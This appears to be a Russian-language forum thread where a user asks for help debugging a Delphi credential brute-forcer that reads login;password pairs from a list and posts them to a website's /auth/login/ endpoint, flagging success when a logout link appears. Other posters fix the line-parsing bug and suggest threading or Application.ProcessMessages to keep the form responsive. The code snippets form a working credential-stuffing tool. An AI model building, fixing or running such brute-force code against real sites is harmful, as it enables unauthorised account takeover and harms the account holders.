[Помогите!] Пожалуста помогите

[qetoo]

Помогите пожалуста в моей проблеме, пишу брут но с базой он работать не хочет.
ВОТ кусок КОДа:

y:=pos(';', memo2.Lines.Text);
Data.Add('authsave=0');
data.Add('login='+ copy(memo2.Lines.Text, 1, y-1));
s:=length(memo2.Lines.Text);
data.Add('password='+ copy(memo2.Lines.Text, y+1, s));
HTML:=idhttp1.Post(go, data);
if pos('href="/auth/logout/"', HTML)<>0 then

тоесть когда я начинаю брутить базу такого типа:

fdagdfga;asdafsdaf
fdagdfga1;asdafsdaf
fdagdfga2;asdafsdaf
fdagdfga3;asdafsdaf
fdagdfga4;asdafsdaf

по анализатору я вижу что заходит на акаунт -fdagdfga- под паролем - asdafsdaf
fdagdfga1;asdafsdaf
fdagdfga2;asdafsdaf
fdagdfga3;asdafsdaf
fdagdfga4;asdafsdaf
_____________________________
а когда я важу просто одиночный - fdagdfga;asdafsdaf
все работает...
где я ошыбся? пожалусто ответьте

[NebesaBag]

Думаю проблема в цикле и код кушает только первую строку цикла постоянно.
Мало кода предоставил, чтобы точно сказать.
Нужен весь цикл.

[qetoo]

Data: Tstringlist;
HTML, go, op: string;
y, i, s, p: integer;
Pars1, Pars2, Pars3: string;
begin
for i:=0 to memo2.Lines.Count-1 do
begin
html:=idhttp1.get([Ссылки могут видеть только зарегистрированные пользователи. ]
Data:=TStringlist.Create;
go:= 'http://******/auth/login/';
y:=pos(';', memo2.Lines.Text);
Data.Add('authsave=0');
data.Add('login='+ copy(memo2.Lines.Text, 1, y-1));
s:=length(memo2.Lines.Text);
data.Add('password='+ copy(memo2.Lines.Text, y+1, s));
HTML:=idhttp1.Post(go, data);
if pos('href="/auth/logout/"', HTML)<>0 then
begin

[NebesaBag]

перед

HTML:=idhttp1.Post(go, data);

попробуй

Memo2.Lines.Delete(i);
HTML:=idhttp1.Post(go, data);

А вообще в коде ты нигде со строкой не работаешь, а только с целым текстом.
Можно было бы и так

var y,s: string;
....

s=Memo2.Lines[i];
y:=copy(s,pos(';', s)+1,length(s));
Delete(s,pos(';', s)+1,length(s));
Data.Add('authsave=0');
data.Add('login='+ s);
data.Add('password='+ y);
...

[qetoo]

спосибо помогло, только одно, с етим кодом:

s:=Memo2.Lines[i];
y:=copy(s,pos(';', s)+1,length(s));
Delete(s,pos(';', s)+1,length(s));
Data.Add('authsave=0');
data.Add('login='+ s);
data.Add('password='+ y);

копирует логин с ; и поетому не входит) я поставил "-0"
Delete(s,pos(';', s)-0,length(s));

просто -0 у все работает, спосибо большое жалко немогу поставить плюсик тебе((

если можно подкажи как зделать так чтобы форма не замерзала, а то нечего зделать немогу виснет до конца брута.(

[twice]

Цитата: Сообщение от qetoo если можно подкажи как зделать так чтобы форма не замерзала, а то нечего зделать немогу виснет до конца брута.(

Запускать брут в отдельном потоке.

Т.е. GUI - в одном потоке, вся полезная нагрузка - в другом потоке.

[qetoo]

а поподробней пожалуста, я то в этом не гений

GUI - это что? (походу туплю)

[twice]

Цитата: Сообщение от qetoo GUI - это что? (походу туплю)

Graphical User Interface - Графический интерфейс пользователя.

Ссылочка по теме (ибо я на с++ пишу, а не делфи):

[Ссылки могут видеть только зарегистрированные пользователи. ]

Ну или просто почитай про много поточность в делфи, а местные спецы по делфи помогут кодом.

[NebesaBag]

Я бы посоветовал самое простейшее
Внутри цикла прописать 1 строку в любом месте.

Application.ProcessMessages;